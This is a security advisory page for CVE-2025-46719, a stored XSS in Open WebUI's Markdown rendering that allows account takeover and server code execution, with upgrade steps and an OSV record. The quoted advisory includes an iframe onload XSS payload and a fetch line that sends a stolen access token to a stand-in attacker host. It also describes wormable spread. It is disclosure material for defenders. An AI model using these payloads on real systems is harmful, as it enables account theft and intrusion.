CVE-2025-46719: Open webui Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-9f4f-jv96-8766
CWE-79
Published
Advisory Summary

CVE-2025-46719 is a HIGH remote code execution vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Open webui libraries in the PyPI ecosystem. The issue involves open webui vulnerable to stored xss via unescaped markdown token in markdowntokens.svelte leading to full account takeover and rce via functions. Remediation is available by upgrading affected packages to version 0.6.6.

CVE-2025-46719 at a Glance

CVE Identifier CVE-2025-46719
GHSA Identifier GHSA-9f4f-jv96-8766
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Open webui
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2025-46719

To remediate this vulnerability, upgrade all affected Open webui dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

open-webui fixed: 0.6.6
pip install open-webui>=0.6.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show open-webui

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2025-46719, inspect your installed packages using pip:

pip show open-webui

Analyze the terminal output to locate any version of Open webui in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.6.6), your application is affected.

Note: The pip show open-webui command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Open webui, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A vulnerability in the way certain html tags in chat messages are rendered allows attackers to inject JavaScript code into a chat transcript. The JavaScript code will be executed in the user's browser every time that chat transcript is opened, allowing attackers to retrieve the user's access token and gain full control over their account. Chat transcripts can be shared with other users in the same server, or with the whole open-webui community if "Enable Community Sharing" is enabled in the admin panel. If this exploit is used against an admin user, it is possible to achieve Remote Code Execution on the server where the open-webui backend is hosed. This can be done by creating a new function which contains maliicious python code. **This vulnerability also affects chat transcripts uploaded to `https://openwebui.com/c/<user>/<chat_id>`, allowing for wormable stored XSS in https://openwebui.com** ### Details ### Stored XSS The file https://github.com/open-webui/open-webui/blob/main/src/lib/components/chat/Messages/Markdown/MarkdownTokens.svelte#L269-L279 contains the following code: ```TypeScript {:else if token.text.includes(`<iframe src="${WEBUI_BASE_URL}/api/v1/files/`)} {@html `${token.text}`} ``` That code checks if a chat message has an html tag which contains the text `<iframe src="${WEBUI_BASE_URL}/api/v1/files/`, and if so, it renders that html tag using `{@html}`, which is a dangerous Svelte functionality that allows text to be rendered as HTML code. Attackers can abuse this by sending a chat message with the following payload: `<iframe src="http://localhost:8080/api/v1/files/" onload="alert(1)"></iframe>`, where `http://localhost:8080` is the URL where the open-webui backend server is hosted. This will cause a JavaScript alert window to be displayed every time that chat transcript is opened. ![image](https://github.com/user-attachments/assets/1e7da1f9-4154-402a-b5f1-4a50a0b4a227) ![image](https://github.com/user-attachments/assets/f8f463c7-731a-41e0-9e75-c2747639bc5f) In a real attack scenario, instead of injecting `alert(1)` in the `onload` attribute, attackers can use the following code to steal the user's access token and send it to a server they control: `fetch("https://attacker.com/?token=" + localStorage.getItem("token"))` This is possible because the access token is stored inside the user's localStorage, which is accessible by JavaScript. Then, once the attacker has created a chat transcript which contains that payload, they can share that transcript with other users on the same server by clicking on the 3 dots next to the chat transcript on the left, and clicking "Share" ![image](https://github.com/user-attachments/assets/200e3ab1-36d9-4d0c-a869-dd60ae112fc9) **If "Enable Community Sharing" is enabled in the admin panel. attackers can upload the infected chat transcript to https://openwebui.com/, where the Stored XSS payload will be executed** ![image](https://github.com/user-attachments/assets/b9bab780-5fc2-439c-9875-d08cedadd99b) This makes the exploit a **wormable Stored XSS**. Attackers can upload an infected chat to their profile which has JavaScript code to upload a similar infected chat to the visitori's profile, share it with other members of the open-webui community, and infect their profiles as well. <hr> ### RCE If an attacker manages to steal an admin user's token, they can then achieve RCE on the backend server by creating a function (http://localhost:5174/admin/functions), which by design allows admins to execute arbitrary python code on the backend server. The following HTTP request can be sent to the backend server to execute arbitrary python code. ![image](https://github.com/user-attachments/assets/572a1594-cb39-4232-a834-efe625fd3667) ![image](https://github.com/user-attachments/assets/c5b34773-759d-4f0d-9ed8-0b5078e24d1f) ### PoC Attackers can abuse this by sending a chat message with the following payload: `<iframe src="http://localhost:8080/api/v1/files/" onload="alert(1)"></iframe>`, where `http://localhost:8080` is the URL where the open-webui backend server is hosted. ### Impact Attackers can send a a link to a shared chat transcript to other users on the same server to take control over their accounts. They can also upload the chat to https://openwebui.com and take control over other users' accounts.

CVE-2025-46719 Affected Open webui Versions

1 component(s)
Fixed Versions:
0.6.6
Product / Package Ecosystem Affected Versions Fixed Version
open-webui
PyPI
< 0.6.6
0.6.6

References

Frequently Asked Questions

What is CVE-2025-46719?
CVE-2025-46719 is a security vulnerability in Open webui involving Open WebUI vulnerable to stored XSS via unescaped markdown token in MarkdownTokens.svelte leading to full account takeover and RCE via functions under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Open webui versions are affected?
Affected versions include releases prior to 0.6.6 across affected packages: open-webui.
What version fixes CVE-2025-46719?
Upgrading to 0.6.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is open-webui affected?
Yes, open-webui is affected in releases prior to 0.6.6. Upgrade your dependency to 0.6.6 or later.
What CWE is associated with CVE-2025-46719?
CVE-2025-46719 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check PyPI dependencies for CVE-2025-46719?
Run the dependency tree command: 'pip show open-webui'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9f4f-jv96-8766",
  "modified" : "2026-07-07T16:50:59Z",
  "published" : "2026-07-07T16:50:59Z",
  "aliases" : [ "CVE-2025-46719" ],
  "summary" : "Open WebUI vulnerable to stored XSS via unescaped markdown token in MarkdownTokens.svelte leading to full account takeover and RCE via functions",
  "details" : "### Summary\n\nA vulnerability in the way certain html tags in chat messages are rendered allows attackers to inject JavaScript code into a chat transcript. The JavaScript code will be executed in the user's browser every time that chat transcript is opened, allowing attackers to retrieve the user's access token and gain full control over their account. Chat transcripts can be shared with other users in the same server, or with the whole open-webui community if \"Enable Community Sharing\" is enabled in the admin panel.\n\nIf this exploit is used against an admin user, it is possible to achieve Remote Code Execution on the server where the open-webui backend is hosed. This can be done by creating a new function which contains maliicious python code.\n\n**This vulnerability also affects chat transcripts uploaded to `https://openwebui.com/c/<user>/<chat_id>`, allowing for wormable stored XSS in https://openwebui.com**\n\n### Details\n\n### Stored XSS\n\nThe file https://github.com/open-webui/open-webui/blob/main/src/lib/components/chat/Messages/Markdown/MarkdownTokens.svelte#L269-L279 contains the following code:\n```TypeScript\n\t\t{:else if token.text.includes(`<iframe src=\"${WEBUI_BASE_URL}/api/v1/files/`)}\n\t\t\t{@html `${token.text}`}\n``` \nThat code checks if a chat message has an html tag which contains the text `<iframe src=\"${WEBUI_BASE_URL}/api/v1/files/`, and if so, it renders that html tag using `{@html}`, which is a dangerous Svelte functionality that allows text to be rendered as HTML code.\n\nAttackers can abuse this by sending a chat message with the following payload:\n`<iframe src=\"http://localhost:8080/api/v1/files/\" onload=\"alert(1)\"></iframe>`, where `http://localhost:8080` is the URL where the open-webui backend server is hosted.\n\nThis will cause a JavaScript alert window to be displayed every time that chat transcript is opened.\n\n![image](https://github.com/user-attachments/assets/1e7da1f9-4154-402a-b5f1-4a50a0b4a227)\n![image](https://github.com/user-attachments/assets/f8f463c7-731a-41e0-9e75-c2747639bc5f)\n\nIn a real attack scenario, instead of injecting `alert(1)` in the `onload` attribute, attackers can use the following code to steal the user's access token and send it to a server they control:\n`fetch(\"https://attacker.com/?token=\" + localStorage.getItem(\"token\"))`\n\nThis is possible because the access token is stored inside the user's localStorage, which is accessible by JavaScript.\n\nThen, once the attacker has created a chat transcript which contains that payload, they can share that transcript with other users on the same server by clicking on the 3 dots next to the chat transcript on the left, and clicking \"Share\"\n\n![image](https://github.com/user-attachments/assets/200e3ab1-36d9-4d0c-a869-dd60ae112fc9)\n\n**If \"Enable Community Sharing\" is enabled in the admin panel. attackers can upload the infected chat transcript to https://openwebui.com/, where the Stored XSS payload will be executed**\n\n![image](https://github.com/user-attachments/assets/b9bab780-5fc2-439c-9875-d08cedadd99b)\n\nThis makes the exploit a **wormable Stored XSS**. Attackers can upload an infected chat to their profile which has JavaScript code to upload a similar infected chat to the visitori's profile, share it with other members of the open-webui community, and infect their profiles as well.\n\n<hr>\n\n### RCE\n\nIf an attacker manages to steal an admin user's token, they can then achieve RCE on the backend server by creating a function (http://localhost:5174/admin/functions), which by design allows admins to execute arbitrary python code on the backend server.\n\nThe following HTTP request can be sent to the backend server to execute arbitrary python code.\n\n![image](https://github.com/user-attachments/assets/572a1594-cb39-4232-a834-efe625fd3667)\n![image](https://github.com/user-attachments/assets/c5b34773-759d-4f0d-9ed8-0b5078e24d1f)\n\n\n### PoC\n\nAttackers can abuse this by sending a chat message with the following payload:\n`<iframe src=\"http://localhost:8080/api/v1/files/\" onload=\"alert(1)\"></iframe>`, where `http://localhost:8080` is the URL where the open-webui backend server is hosted.\n\n### Impact\n\nAttackers can send a a link to a shared chat transcript to other users on the same server to take control over their accounts. They can also upload the chat to https://openwebui.com and take control over other users' accounts.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "open-webui"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.6.6"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/open-webui/open-webui/security/advisories/GHSA-9f4f-jv96-8766"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-46719"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/open-webui/open-webui/commit/6fd082d55ffaf6eb226efdeebc7155e3693d2d01"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/open-webui/open-webui"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/open-webui/open-webui/blob/main/src/lib/components/chat/Messages/Markdown/MarkdownTokens.svelte#L269-L279"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/open-webui/open-webui/releases/tag/v0.6.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-07T16:50:59Z",
    "nvd_published_at" : "2025-05-05T19:15:57Z"
  }
}